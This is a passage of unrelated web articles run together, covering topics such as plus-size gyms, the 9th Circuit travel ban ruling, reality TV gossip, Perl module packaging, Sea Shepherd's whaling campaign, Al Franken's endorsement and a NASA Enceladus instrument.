anyone?) One gym in Vancouver, Body Exchange, actually screens potential clients over the phone and bans non-plus-size women from joining. (Men aren't allowed, either.) The goal is for the space to be a "save haven" for heavier clients, founder and CEO Louise Green told The Province. "Many of our clients have not had successful fitness pasts so I can see the anxiety before we get started and I can see the relief and happiness after we finish," she said. "People are often too fearful to become active. There wasn't a model that offered camaraderie. I used to walk into fitness classes where nobody would even say ‘Hi.' This has got to be fun or it's not going to work." Green said three types of people join her gym: women who are "idle," women who used to work out but have put on weight in recent years, and the "do or dies" who need to get fit for medical reasons. But all have one thing in common: they don't want to get patronizing side-eye glances when they're on the treadmill. "It's intimidating going into a gym setting," one satisfied customer said. "I honestly think some people in a gym setting are judgmental to people who are overweight or have a different body type." Other gyms don't go as far as barring skinny people from joining, but instead say they "target people of size" or don't "encourage" a thin crowd. "We make it known that our specialty is working with people who have at least 50 pounds to lose," Jason Burns, a partner at Downsize Fitness in Chicago, told the New York Daily News. "Most people who come here, come here for that reason." Michael Hayes, owner of Buddha Body Yoga in Union Square, said he started a yoga studio for plus-size people because he "was tired of being the biggest person in the classroom." That's the same reason why Marty Wolff, who competed on season three of NBC's "The Biggest Loser," started the health club Square One in Omaha, Nebraska. "My whole life, I have always wished there was a place for other big people," he said. "So I created one." He doesn't turn anyone away, though — not because he wants to be inclusive, but because he thinks some skinny people would rather work out with bigger people. "What we have found is that there are some [non-overweight] sub-populations who like to work out with ‘people of size,'" he explained. That's probably a sub-population all gym-goers should stay away from; they sound even more fucked up than the boot camp bachelorettes. Advertisement Body Exchange provides safe fitness haven for plus-size women [The Province] Gym bans skinny people; More fitness centers move to create friendler environments for larger-size clientele [NY Daily News] -Toronto's animal services agency is investigating after 30 ducks and one heron were found dead on the sandy shores of Woodbine Beach Sunday morning. Parks Toronto initially told CBC Toronto approximately 50 ducks were found dead, but later said there were in fact 30. Joanne Ingrassia, a volunteer with Toronto Wildlife Centre, told CBC Toronto she came to the waterfront hoping to rescue any birds that were still alive. "Sadly it doesn't look like any have survived," she said, adding that many lifeless birds in various stages of decay in the water are still washing up. Crews from Toronto's Parks, Forestry and Recreation were at the beach cleaning up the ducks' bodies throughout the day for the city's animal services agency to conduct an investigation. "All have been removed," said Toronto Parks, Forestry and Recreation spokesperson John Bugailiskis in an email. "A necropsy will be done on the animals to determine cause of death." The dead ducks are not all one breed. Ingrassia said she saw different types of arctic ducks and long-tailed ducks on the sand. Toronto Animal Services are probing what caused the ducks' death. (Keith Burgess/CBC) Toronto Animal Services hasn't identified the cause, but Ingrassia believes bacteria in Lake Ontario could have been the cause. "It's hard to say what caused it but we suspect it's possible that it's botulism," she said. Avian botulism is a paralytic disease found in waterfowl that is fatal and causes paralysis. "I'm not aware of this happening here before," she added, noting she has lived in the Beach neighbourhood for more than 30 years. "I have seen botulism in waterfowl before but not this many at one time." Toronto Animal Services say they are working to pinpoint what caused the ducks' death. In the meantime, Bugailiskis is advising dog owners to ensure they are kept leashed in the area. "If the dog was in the park today and has developed any symptoms of illness, they should take their dog to their veterinarian," he said. -Security officers are seen outside the 9th U.S. Circuit Court of Appeals building in San Francisco on Thursday, Feb. 9, 2017. A federal appeals court refused Thursday to reinstate President Donald Trump's ban on travelers from seven predominantly Muslim nations, dealing another legal setback to the new administration's immigration policy. (AP Photo/Haven Daley) SAN FRANCISCO (AP) — The Latest on the travel ban imposed by President Donald Trump (all times local): 4:50 p.m. President Donald Trump says a federal appeals court ruling against reinstating his refugee and immigration order is a “political decision.” He says the “security of our country is at stake” and he looks forward to “seeing them in court.” He did not specify what his administration’s next legal steps would be following Thursday’s ruling. Trump says he doesn’t believe the decision undercuts his presidency and says his administration will “win the case.” Trump made a brief, impromptu appearance in the West Wing following the decision. His comments were recorded by the network pool at the White House. ___ 4:50 p.m. Minnesota Attorney General Lori Swanson says President Donald Trump’s immigration ban has “created needless chaos” for children, families, students and others. Swanson reacted Thursday after a federal appeals court in San Francisco refused to reinstate the ban on travelers from seven predominantly Muslim countries. Minnesota and Washington state sued to block the ban. In a statement, Swanson says the Trump administration could have avoided the lawsuit by taking a “more deliberate approach.” Instead, the Democrat says Trump’s executive order was “haphazard in its approach and roll-out” and “not properly vetted” by Congress and federal agencies. ___ 4:10 p.m. The U.S. Justice Department has responded to a federal appeals court’s refusal to reinstate President Donald Trump travel ban, saying it “is reviewing the decision and considering its options.” It’s the first day on the job for new Attorney General Jeff Sessions, who was sworn in at the White House earlier Thursday by Vice President Mike Pence. ___ 4:10 p.m. Washington state’s attorney general says President Donald Trump should withdraw his “flawed, rushed and dangerous” ban on travelers from seven predominantly Muslim nations. Bob Ferguson also said in a statement that if Trump doesn’t pull the executive order, he “will continue to hold him accountable to the Constitution.” Washington state and Minnesota sued over the ban. A federal appeals court has refused to reinstate it. ___ 4 p.m. Washington state Gov. Jay Inslee has responded to President Donald Trump’s tweet after a federal appeals court refused to reinstate the travel ban. Trump tweeted: “SEE YOU IN COURT, THE SECURITY OF OUR NATION IS AT STAKE!” In response, Inslee said, “Mr. President, we just saw you in court, and we beat you.” ___ 4 p.m. The American Civil Liberties Union is hailing a federal appeals court’s refusal to reinstate President Donald Trump’s travel ban. Omar Jadwat, director of the organization’s Immigrants’ Rights Project, said, “The government’s erratic and chaotic attempts to enforce this unconstitutional ban have taken a tremendous toll on innocent individuals, our country’s values, and our standing in the world.” He said the group would keep fighting the executive order until it’s permanently dismantled. ___ 3:55 p.m. David Miliband, president of the International Rescue Committee that helps refugees resettle, said he was heartened by a federal appeals court’s ruling refusing to reinstate President Donald Trump’s travel ban. In a statement, Miliband said, “We are grateful that we can get back to work resettling refugees who have fled the terrors of war and violence, while also caring for those who remain trapped in conflict zones.” ___ 3:55 p.m. A law professor says the “million-dollar question” is whether the Trump administration would appeal a federal appeals court’s refusal to reinstate the travel ban to the U.S. Supreme Court. That could run the risk of having only eight justices to hear the case, which could produce a tie and leave the lower-court ruling in place. Josh Blackman, a professor at South Texas College of Law in Houston, said, “There’s a distinct risk in moving this too quickly. But we’re not in a normal time, and Donald Trump is very rash. He may trump, pardon the figure of speech, the normal rule.” ___ 3:50 p.m. Washington state Gov. Jay Inslee says the federal appeals court’s refusal to reinstate President Donald Trump’s travel ban “is a victory for Washington state and indeed the entire country.” In a statement, the Democrat said the decision emphasizes that no one is above the law, not even the president. Washington state and Minnesota sued over the ban on travelers from seven predominantly Muslim countries. ___ 4:45 p.m. President Donald Trump has tweeted, “SEE YOU IN COURT” after a federal appeals court refused to reinstate his ban on travelers from seven predominantly Muslim nations. Trump’s also says in the tweet that “THE SECURITY OF OUR NATION IS AT STAKE!” In a unanimous decision, the San Francisco-based 9th U.S. Circuit Court of Appeals upheld a lower-court ruling that suspended the ban and allowed previously barred travelers to enter the U.S. Thursday’s ruling marked another legal setback for the new administration’s immigration policy. ___ 3:40 p.m. After a federal appeals court refused to reinstate President Donald Trump’s travel ban, he took to social media. Trump tweeted: “SEE YOU IN COURT, THE SECURITY OF OUR NATION IS AT STAKE!” ___ 3:40 p.m. A federal appeals court says the U.S. government hadn’t pointed to any evidence that anyone from the countries named in the executive order had committed a “terrorist attack” in the U.S. The panel of the 9th U.S. Circuit Court of Appeals said, “Rather than present evidence to explain the need for the executive order, the government has taken the position that we must not review its decision at all. We disagree, as explained above.” ___ 3:40 p.m. A federal appeals court has noted that there are compelling public interests on both sides of President Donald Trump’s travel ban, which is one reason it has generated so much scrutiny. The 9th U.S. Circuit Court of Appeals said, “On the one hand, the public has a powerful interest in national security and in the ability of an elected president to enact policies. And on the other, the public also has an interest in free flow of travel, in avoiding separation of families, and in freedom from discrimination.” ___ 3:35 p.m. Three federal judges say the U.S. government presented no evidence to explain the urgent need for President Donald Trump’s executive order to take effect immediately. The panel from the 9th U.S. Circuit Court of Appeals says courts have the authority to review presidential orders on immigration and national security. ___ 3:35 p.m. Three federal judges have unanimously rejected the Justice Department’s arguments that the president’s authority on immigration policy is his discretion alone, with no authority for review by the courts. The panel from the 9th U.S. Circuit Court of Appeals said there’s no precedent to support that notion, which “runs contrary to the fundamental structure of our constitutional democracy.” The judges noted that Washington state and Minnesota had raised serious allegations about religious discrimination in President Donald Trump’s ban on travelers from seven predominantly Muslim countries. ___ 3:30 p.m. The 9th U.S. Circuit Court of Appeals has rejected the Donald Trump administration’s claim that the court didn’t have the authority to review the president’s executive order. The panel of three judges noted that Washington state and Minnesota had raised serious allegations about religious discrimination. Their decision was unanimous. ___ 3:25 p.m. The three-judge panel of the 9th U.S. Circuit Court of Appeals says Washington state proved it had the legal right to bring the lawsuit over President Donald Trump’s travel ban by alleging its universities would suffer harm. That was one of the questions that the judges considered. Universities have complained about students and faculty getting stranded overseas. ___ 3:20 p.m. A federal appeals court says the U.S. government hasn’t shown a likelihood it will succeed in appealing to reinstate President Donald Trump’s travel ban. It also hasn’t shown that failure to reinstate the ban would cause irreparable injury. ___ 3:15 p.m. A federal appeals court in San Francisco has refused to reinstate President Donald Trump’s ban on travelers from seven predominantly Muslim nations. The 9th U.S. Circuit Court of Appeals on Thursday wouldn’t block a lower-court ruling that suspended the ban and allowed previously barred travelers to enter the U.S. An appeal to the U.S. Supreme Court is possible. U.S. District Judge James Robart in Seattle issued a temporary restraining order halting the ban last week after Washington state and Minnesota sued. The Justice Department appealed to the 9th Circuit. Government lawyers argued that the ban was a “lawful exercise” of the president’s authority and that the seven countries have raised terrorism concerns. The states said Trump’s executive order unconstitutionally blocked entry based on religion. ___ 2:10 p.m. A federal appeals court in San Francisco is set to issue its ruling in the legal fight over whether to reinstate President Donald Trump’s ban on travelers from seven predominantly Muslim nations. The 9th U.S. Circuit Court of Appeals announced that it will release its decision before the end of the business day Thursday in California. The court is deciding whether to block a lower-court ruling that suspended the ban and allowed previously barred travelers to enter the U.S. An appeal to the U.S. Supreme Court is possible. U.S. District Judge James Robart in Seattle issued a temporary restraining order halting the ban last week after Washington state and Minnesota sued. The administration said the seven nations — Iran, Iraq, Libya, Somalia, Sudan, Syria and Yemen — have raised terrorism concerns. The states argued that the ban targets Muslims. -“We have to be vigorous in holding the norms of our civil society," said former Government Ethics Chief, Walter Shaub. "We have to protect our institutions.” It came as no surprise to me that our Government Ethics Chief, Walter Shaub, resigned a few weeks ago. I had the pleasure of listening to him speak and answer questions today at the NPC where he discussed the seriousness of what’s happening inside our White House, and to our country. He reminded us that ethics is “neither for or against a party.” The definition of Ethics, according to the dictionary, (because I think it’s time we’re all reminded), is “a moral set of principles that govern a person’s behavior or the conducting of an activity.” Synonyms include: morals, moral codes, values. What is right and what is wrong. Ideals and standards, virtues, dictates of conscience. Shaub expressed how important it was for journalists and for citizens to keep initiating conversation about the importance of ethics in the executive branch, that we cannot depart from our ethics and values, that departing from these norms means that we’re setting new standards of behavior (we all know now that Steve Bannon is apparently busy s*cking his own c*ck) as well as adding a level of fragility to our ethics agency. ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website I appreciated Schaub’s vulnerability and authenticity when he was candid about the administration’s attempt to smear his name. He feels -and fears- that many in the current administration might not stand up to this erosion of ethics we’re experiencing (i.e. Trump still hasn’t released his tax returns and he hasn’t sold his business assets), setting up a “blind trust” is irrelevant, they all fear the same: they’re scared their name will be smeared and a professional future doomed. Schaub also expressed extreme concern that this will become the new norm, and that it is up to US to keep SPEAKING OUT, remembering that of this IS NOT NORMAL. “We have to challenge this before it takes root... If Mueller gets fired, it would be destructive to our society in ways we can’t even fathom right now,” Shaub said. “We have to be vigorous in holding the norms of our civil society. We have to protect our institutions.” When asked what more we can do as citizens to help fight against this kind of corruption and greed, Shaub said if you know anyone who is a financial expert, have them write to congress and share their views and expertise, help them understand the complexities of MONEY - now that the 1% has taken over our government. It is typically very hard to follow this kind of money but it can be done. He ended with this, “Sunlight is the best disinfectant.” #resist If you enjoy reading The Daily Banter, please help support what we do and become a paid subscriber. You'll get access to all our long form Members Only content and the digital magazine Banter M, and you'll be contributing to truly independent media. Find out more here. -I feel like Marie Reyes is the Kim D of Real Housewives of Dallas. She brings nothing to the show and does whatever she can to get attention. Obviously, Marie was the one who spread the story about LeeAnne Locken, and that is the only reason she is getting any screen time on this show. She is not even a Real Housewife and her desperation is just way too much for me to handle. I am definitely not a LeeAnne fan and even I can tell that Marie is an attention-seeking shit stirrer. Needless to say, I was pretty shocked to watch the RHOD reunion episode and hear that Marie supposedly hired a social media team to take down LeeAnne and Tiffany Hendra. It’s absurd, to me, that she would invest so much thought and money into maintaining some sort of persona. CLICK “CONTINUE READING” FOR MORE! I feel silly because I’m giving Marie attention, but I feel like this is too ridiculous not to address. As expected, Marie addressed this in her Bravo blog (which she basically only has to trash LeeAnne). Marie wrote, “I’ve been accused of having a social media team that attacks LeeAnne and Tiffany, so let me set the record straight. I employ several people who help me with PR for my Signature skin care line RAGS2Riches by Marie Reyes in three different cities and I employ a young man, ONE young Millennial man, who helps me with my businesses’ social media accounts. He also helps me with social media, specifically Twitter, around the airing of this show. Surprise, I’m not the gif or photoshop queen, LOL! So, my social media “team” is a whopping one person (someone has to do the artwork and hit the send button) + me and my husband!” I can’t imagine that many people are hitting up Marie or regularly checking her social media pages for content. This is definitely not something that she needs an employee for. As I keep saying, she’s not even a Real Housewife. RELATED: LeeAnne Locken Compares Marie Reyes To A Tornado Plus, there’s the fact that Marie uses her social media to impart negativity and make fun of people: there is nothing at all acceptable about that. Marie attempted to justify this when she wrote, “Yes, in an effort to add colorful context I’ve made fun of people’s on screen words and behaviors. I never made fun of or “attacked” any of the other ladies for anything they’ve done that wasn’t directly related to something aired on the show, nor have I asked anyone else to do so on my behalf.” Anyone who has checked out her social media profiles knows that this is not at all accurate, unless Marie just has a very different version of the word “attacked.” Then Marie proves once again that she disillusioned by the level of “fame” that she has when she wrote, “The notion that I bought the Internet and or employ trolls to attack anyone on the show is simply ridiculous. By now everyone should know that if I have something to say I’m pretty direct and at no loss for words via my blog or live during my after show periscope.” No one thinks that Marie would be able to “buy the internet.” As far as random trolls go, I bet that they are just a series of accounts that Marie has the password to. And I have no idea who this “everyone” she is referring to in regard to the readers of her social media content and blog. She is not even a Housewife – I can’t stress that enough. Marie needs to stop trying to bring down others just to get attention. It’s really not a good look on her at all – no matter who is operating the social media accounts. I’m also wondering if she even wrote her Bravo blog entry herself…. TELL US – WHAT DO YOU THINK ABOUT MARIE’S SOCIAL MEDIA ANTICS? DOES SHE THINK THAT SHE’S A BIGGER DEAL THAN SHE ACTUALLY IS? [Photo Credits: Bravo] -(Reuters) - Delaware Governor Jack Markell nominated the first African-American to the state’s Court of Chancery, one of the country’s premier venues for shareholder disputes. Markell nominated Tamika Montgomery-Reeves to become vice chancellor, succeeding Donald Parsons, whose term expires on Oct. 22. Montgomery-Reeves must be confirmed by Delaware’s senate, which will consider her nomination on Oct. 28. If confirmed, Montgomery-Reeves will be the first woman on the five-judge court since 1994, when Carolyn Berger was elevated to the state’s Supreme Court. Montgomery-Reeves is a partner at Wilson Sonsini Goodrich & Rosati in Wilmington, Delaware, where she focuses on corporate governance and corporate litigation. She was part of the Wilson Sonsini team that represented Chevron Corp in a key 2013 case in which the Court of Chancery upheld the use of corporate bylaws to force shareholders to sue in Delaware courts. “Tamika Montgomery-Reeves has the intellectual ability and strong work ethic necessary to serve on Delaware’s Court of Chancery,” said Markell in a statement. “She also has substantial experience practicing corporate law and clerking for the Court of Chancery.” Prior to joining Wilson Sonsini, Montgomery-Reeves practiced securities law at Weil, Gotshal & Manges in New York. She also served as a law clerk for William Chandler, the former chancellor, or chief judge, on the Court of Chancery. Judges are appointed for 12-year terms on the non-jury Court of Chancery, which is favored by business for its relatively quick proceedings and protections from liability for corporate directors. If Montgomery-Reeves is confirmed, she will be the fourth judge on the court appointed by Markell, a Democrat in his second term. Markell has also appointed four of the five members of the Delaware Supreme Court, which hears appeals from the Court of Chancery. -Image via Wikipedia Last May, I finally made available for download the first version of Webservice::Viddler on CPAN (Comprehensive Perl Archive Network) after having written about it in March. One of the reasons for the delay in making the packaged source code available for download had to do with one simple fact, the Viddler module was my first ever submitted for public consumption. Now, don't misunderstand me, Webservice::Viddler is not the first Perl module I have ever written. I've been writing code in Perl for about as long as CPAN has existed. However, as is the case with my current work in PHP for Orbit Media Studios, most of the Perl code I wrote over the years was on behalf of a employer of some sort. As such the ownership of the code, and the right to distribute, rested with them, not me. So then, why the delay? Well there are a couple of reasons. First of all, the code I posted in March was a proof of concept based on some work I did for Orbit at the time. While the basic framework of the module worked the "proto-module" didn't implement all of the functionally provided by the Viddler Web API. Secondly, I needed to organize the source code for proper distribution on CPAN as well as get the packaged distribution uploaded and made available. The Packaging Before I did anything, I wanted to make sure that my module had all of the necessary files. In doing a little googling, I came across a blog post entitled Submitting a CPAN module which outlines the basic steps: Apply for an account on PAUSE (Perl Authors Upload Server) Organize your code Profit Not too complex, granted, but organized how? As the author notes there doesn't seem to be any "what the package must have" rules. However, as anyone who has worked with third-party Perl modules knows, there is an accepted process and organization of code that all modules tend to adhere to. After a little more googling I came across module-starter, a handy command-line interface to a Perl module, Module::Starter, which does all the work of creating a base module for distribution. After adding in my code and documentation I quickly had something close to ready. Close, but not complete. Besides making the package useful to install, I wanted to make the code useful to modify. For that I turned to perltidy a Perl script which indents and reformats Perl code to makes it easier to read and follow. Great! Now here is where this can get interesting (and where a lot of suggestions, if not outright rules, do exist). If you follow the steps in the order above, good, because that means while waiting for a PAUSE account to come online , proper considerations can be made for the naming of the module. The Namespace The PAUSE documentation On The Naming of Modules notes that "a module name must accomplish quite a bit in a few characters", such as provide context as to what the module does or problem it addresses. Also of importance is the fact that "once chosen, you rarely have the opportunity to change it after people start using it." So a little careful consideration is in order. Also, it is important to note that namespaces, by definition, are unique. Besides providing a singular meaning, the name cannot be shared with some other module, public or otherwise. As such it is recommend that PAUSE developers register the namespace of the module written. Again, this isn't a hard and fast rule per se, but a recommendation to avoid duplication and improve searchability. That about covers the basics. Now, if you will excuse me, I need to take some time to address these test results. -WARNING: This article contains spoilers from the most recent episode of Outlander. Read at your own risk! In one of the more tender scenes from “Of Lost Things,” the fourth episode from Starz’ Outlander, Jamie (Sam Heughan) offers his body to Lord John Grey (David Berry), a closeted gay soldier, in exchange for watching over his son, Willie, after he returns to Scotland. Grey is, understandably, overwhelmed with emotion. “I should probably want you ’til the day I die,” he says to Jamie. But he declines Jamie’s offer. Reached overseas by EW, Berry looks back at the scene and talks about how challenging it was for him and Heughan to communicate so much in so little time. Starz “It was tricky and involved many rewrites,” says Berry. “I think the scene was more difficult for Sam than it was for me. The audience needs to buy that Jamie would do anything to ensure the safety of his son, including sacrificing his dignity by allowing Grey to essentially rape him. Whereas the book has the benefit of several hundred pages to flesh out this conflict, in the show it’s condensed into only a couple of short scenes. It was important for both Sam and I to endow Jamie’s proposal with as much sincerity as possible so that we could then subvert the expectations of the audience when Grey rejects him. And for Grey it was important for the rejection not to seem cruel but come from a place of honor and compassion for Jamie. This helps the audience to understand the depth of their friendship. Grey loves Jamie but would never abuse or transgress his friendship with Jamie for his own selfish purposes.” “It’s a lot to convey!” Berry continues. “Hopefully, we achieved it.” Want to chat about episode 4? Tune in at noon ET Monday, Oct. 2, to Outlander Live! on EW Radio. Hannah James (Geneva) will be our guest. You can find EW Radio on Sirius XM 105. Outlander airs Sundays at 8 p.m. ET on Starz. -The intention of the Japanese whalers is to commit criminal acts of poaching against protected Minke whales in the Southern Ocean Whale Sanctuary in defiance of the International ban on commercial whaling, in defiance of the Southern Ocean Whale Sanctuary, in defiance of the International Whaling Commission (IWC), in defiance of the International Court of Justice, in defiance of the Australian Federal Court and in defiance of world opinion and international law. The reason that Sea Shepherd Conservation Society is not now pursuing the Japanese whaling fleet is simple. Sea Shepherd cannot match the surveillance and military technology of the Japanese government and their fleet of criminal poachers. The whalers have real time Sat-Surveillance – Sea Shepherd does not. The whalers have $50 million U.S. in subsidies from their government. The whalers have military backing. The whalers have the full backing of their government because the whaling fleet is owned by the Japanese government. They can inflict violence without repercussions. When we defend ourselves non-violently, there are severe repercussions. Sea Shepherd does not have the backing of any government in opposing illegal Japanese whaling operations in the Southern Ocean. Sea Shepherd operates within the boundaries of practicality. Last year Sea Shepherd could find the whaling fleet but could not close in because Japanese real time sat-technology can tell them exactly where Sea Shepherd ships are at all times. We have no way to compete with that. This is government military level technology completely unavailable to us. Japan also passed new anti-terrorism laws specifically to stop Sea Shepherd and these laws would have allowed the use of lethal force and would allow severe punishments to our crews. In other words, the world changed and not in favor of the whales or us. Last year we were criticized by some former supporters and crew for not finding them when the reality is that we could not possibly engage them. Now we are being criticized by the same few people for not sending our ships south this season. Criticized for sending them and not finding them last year and criticized for not sending ships this year. To continue would be foolish. We would spend a few million dollars and many months only to have another failure to engage, and if we did by some miracle encounter the fleet, we would be subject to lethal force without support from our own cowardly governments. In short, Sea Shepherd went as far as we could possibly go with the resources we had within a very hostile environment against an extremely powerful and ruthless government. On the positive side, we accomplished a great deal. Humpbacks and Fins are now off the kill list. The Minke whale kills have been reduced to 333 from 935. Sea Shepherd cost the Japanese government over 100 million dollars in losses. The Japanese government are now spending an obscene amount of money to keep their outlaw fleet afloat. Sea Shepherd exposed Japan’s illegal activities in the Southern Ocean to the entire world through Whale Wars. Sea Shepherd contributed greatly towards securing evidence that helped to convince the International Court of Justice to condemn Japanese so called scientific whaling as bogus and unlawful. Sea Shepherd humiliated the Japanese government for years. And these achievements did not happen without cost. Japanese legal assaults cost Sea Shepherd USA millions of dollars. My personal freedom to travel was taken away and five years later I still cannot travel abroad. Sea Shepherd went as far as we could and pushed the envelope as much as we could, more so than any other group or government. We went as far as it was possible to go with the resources available to us. -The cycling federation headquarters attest to this rich history, with black-and-white wall photos of greats like Luis Herrera, known as “Lucho,” who in 1984 became the first Colombian to win a stage in the Tour de France and was the first to win the Vuelta a España three years later. Herrera, Quintana and other mountain specialists are known here as “escarabajos,” or “beetles,” for their doggedness in grinding their way up hills. González said his organization provided bikes and equipment to up-and-coming escarabajos, showcasing them at major races where they are courted by European pro teams. He recalled personally escorting a nervous Quintana to the 2011 World Championships in Copenhagen. Back then, he said: “Nairo was just a 21-year-old kid. He was clueless. He didn’t talk at all.” González, who has held top positions at the cycling federation for two decades, questioned Quintana’s motives for speaking out, noting that the heads of the country’s cycling leagues re-elected him to his post in January over a candidate backed by Quintana. “This is all about politics, not sports,” González said. Still, the criticism comes from a broad range of cyclists and close followers of the sport. Support for racers is supposed to come from the cycling federation’s network of leagues and clubs. But many have fallen on hard times because of a lack of funding and allegations of mismanagement and corruption. Victor Hugo Peña, a retired Colombian cyclist who is an ESPN race analyst, said that only a handful of the two dozen cycling clubs in and around Bogotá, the capital, train riders and send them to races. One recent race was canceled because officials failed to secure permits to use national highways. The high price of race licenses and registration fees forces some cyclists to hold raffles and take up collections from bakeries and hardware stores in their hometowns to cover expenses. They incur more costs by breaking wheels and bike frames on potholed roads while competing for prizes of less than $100. -ROCHESTER - U.S. Senate candidate Al Franken took the DFL endorsement by acclamation on Saturday, after a day of questions, speeches and fretting by some activists over whether the controversial satirist can wage a focused campaign to unseat Republican U.S. Sen. Norm Coleman. After being publicly and privately urged to do so, Franken tackled the issue of his sometimes sexually explicit humor head on, with the outright apology that many had been waiting for. "It kills me that things I said and wrote sent a message ... that they can't count on me to be a champion for women, for all Minnesotans. I'm sorry for that. Because that's not who I am," Franken told delegates. Franken acknowledged that in his often edgy career as a comedian. "I wrote a lot of jokes. Some of them weren't funny. Some of them weren't appropriate. Some of them were downright offensive. I understand that." Franken then turned attention to Coleman, saying that "there are some people in Washington who could afford to feel a little less comfortable." Drawing on his strength as an acerbic critic of Republicans, Franken said that he would "stand up to Norm Coleman in a way he's never been stood up to before." In the end, DFLers agreed with Franken and were preparing to endorse him on the first ballot when Franken's rival, Jack Nelson-Pallmeyer withdrew. Franken had garnered nearly 62 percent of the votes, slightly more than needed for endorsement. Franken said he accepted endorsement in a "spirit of tremendous gratitude and tremendous humility" and would dedicate himself to the tasks of securing universal health care, leveling the economic playing field, improving educational opportunities and withdrawing U.S. troops from Iraq. "We have a lot of work to do together," he told cheering delegates. "We're going to canvass until our feet hurt, and when our feet hurt, we'll pick up the phone. ... We're going to do it because five million Minnesotans need a voice in Washington and they don't have one in Norm Coleman." In a passionate acceptance speech, Franken said he offered the combined ability to take Coleman to task while laying out a hopeful vision that would propel Democrats to reclaim the Senate seat once held by DFL icon Paul Wellstone. Republicans ready Republicans were ready with a line of attack that pegged Franken as their "dream candidate." State Republican chairman Ron Carey said that Minnesotans would not be fooled by what he called an "eleventh-hour apology made out of political necessity." Carey hinted broadly that the GOP would have additional revelations about Franken, who has taken a pounding in recent weeks for tax problems and for his often profane style of humor. Franken said that further broadsides against him reflected an effort by Republicans to make the race "about anything but Norm Coleman's record." Franken came into the convention on Friday dogged by controversy over a soft-porn parody written for Playboy in 2000 and an earlier skit involving an imagined rape that he once pitched during his "Saturday Night Live" days. Some Nelson-Pallmeyer supporters took defeat hard. As Nelson-Pallmeyer gave a concession speech Saturday, a young supporter wearing a green-and-white campaign shirt and a headset stood in the back of the hall, accepted hugs and cried slightly. She raised her hands high above her head as Nelson-Pallmeyer finished speaking. Asked by a reporter whether she could comment on the defeat she bowed her head. "I'd rather not, I'm sorry," she said. Speaking to reporters shortly after endorsement, Franken again acknowledged that he wasn't "a perfect person." The coming campaign, he said, should revolve around the issues that matter to Minnesotans. But few expected that Franken will be able to avoid continuing attacks on past writings that some have found demeaning to women. State Rep. Nora Slawik, a delegate and early supporter, wondered aloud whether voters would be as forgiving of Franken as party activists. "We know we're going to be on defense with Franken," she said, her mouth tightening with worry. "Will that hurt us? I support him, but I do worry." U.S. Sen. Amy Klobuchar, who had remained neutral throughout the Senate contest, had publicly urged Franken to apologize. After his endorsement, she sought him out on stage and held his hand aloft in a gesture of solidarity that brought thunderous applause from DFLers. "We're going into this unified," said DFL state party chair Brian Melendez. But two of Franken's earlier critics, U.S. Reps. Betty McCollum and Jim Oberstar, were notably absent from the stage when Franken accepted the endorsement. Mari Urness Pokornowski of Cokato, president of the DFL Feminist Caucus, resigned Saturday when she learned that her group had endorsed Franken. As a mother and former teacher, she said, she didn't see how Franken's writings represented rural Minnesota values. The endorsement, she said, "was a choice made by the caucus, and once that decision is made, you have to make a choice where you stand, For me, my decision was to step down." Years of work paid off With red, white and blue confetti fluttering down, pounding rock anthems and an all-star line of DFL officials, Saturday's endorsement was a stark contrast to last week's far quieter, uncontested Republican endorsement of Coleman. Energized by a day of spirited exchanges, some delegates wasted little time in jumping on the Franken bandwagon. As Nelson-Pallmeyer was giving his concession speech, Diana Slyter of Minneapolis was busy pinning a blue-and- white Al Franken button atop her Nelson-Pallmeyer shirt. "Now, Franken's endorsed. I'm supporting him," she said. She also held two large Franken campaign signs. "I'll put these on my [motorcycle] sidecar," she added. Franken had built a strong grass-roots campaign before his entry in the Senate race, launching a Midwest Values political action committee that raised money for DFL candidates across the state as far back as 2005. On Saturday, connections forged over years paid off. -[Haskell-cafe] [ANNOUNCE] First Public Release of the Snap Framework Hello all, To coincide with Hac Phi 2010 (http://www.haskell.org/haskellwiki/Hac_%CF%86), the Snap team is happy to announce the first public release of the Snap Framework, a simple and fast Haskell web programming server and library for unix systems. For installation instructions, documentation, and more information, see our website at http://snapframework.com/. Snap is well-documented and has a test suite with a high level of code coverage, but it is early-stage software with still-evolving interfaces. Snap is therefore most likely to be of interest to early adopters and potential contributors. Snap is BSD-licensed and currently only runs on Unix platforms; it has been developed and tested on Linux and Mac OSX Snow Leopard. Snap Features: * A simple and clean monad for web programming, similar to happstack's but simpler. * A *fast* HTTP server library with an optional high-concurrency backend (using libev). * An XML-based templating system for generating xhtml that allows you to bind Haskell functionality to XML tags in your templates. * Some useful utilities for web handlers, including gzip compression and fileServe. * Iteratee-based I/O, allowing composable streaming in O(1) space without any of the unpredictable consequences of lazy I/O. If you have questions or comments, please contact us on our mailing list (http://mailman-mail5.webfaction.com/listinfo/snap) or in the #snapframework channel on the freenode IRC network. Cheers, G -- Gregory Collins -Thinking About Saturn After Cassini Several recent news items on Enceladus have me wanting to catch up with mission possibilities and the instruments that will drive them. NASA’s thinking in that direction takes in a remote sensing instrument called SELFI, an acronym standing for Submillimeter Enceladus Life Fundamentals Instrument. The plan here is to examine the chemical composition of the plumes of water vapor and icy particles that are regularly lofted into space from Enceladus’ south pole, in the region we’ve come to know as the ‘tiger stripes.’ Cassini data on the slight wobble in the orbital motion of Enceladus backs up the idea that the ocean beneath its ice is global, a body likely kept liquid by tidal energies as the moon is pulled and squeezed by Saturn in its orbit. The same process is likely the cause of the cracks that allow ocean water to escape into space, from perhaps as many as 100 sites on the surface. Image: The Cassini spacecraft detected hydrogen in the plume of gas and icy material spraying from Enceladus during its deepest and last dive through the plume on Oct. 28, 2015. This graphic illustrates a theory on how water interacts with rock at the bottom of the moon’s ocean, producing hydrogen gas. A Goddard team wants to develop an instrument that would reveal even more details about the hydrothermal vents and perhaps help answer if life exists on this ocean world. Credit: NASA/JPL-Caltech/Southwest Research Institute. Gordon Chin (NASA GSFC), principal investigator for SELFI, describes it as a significant improvement over current submillimeter-wavelength technologies. Says Chin: “Submillimeter wavelengths, which are in the range of very high-frequency radio, give us a way to measure the quantity of many different kinds of molecules in a cold gas. We can scan through all the plumes to see what’s coming out from Enceladus. Water vapor and other molecules can reveal some of the ocean’s chemistry and guide a spacecraft onto the best path to fly through the plumes to make other measurements directly.” The GSFC team is using NASA R&D funding to increase the spectrometer’s sensitivity in the 557 GHz range, where the strongest signal from water is to be found. The goal is to explore the entire system of surface vents on Enceladus, measuring water and traces of other gases. The work also includes creating a radio frequency data-processing system, and a digital spectrometer for the RF signal that will convert it into digital signals to allow the measurement of the gases emerging from the plumes in terms of their quantity, temperature and velocity. Calling it 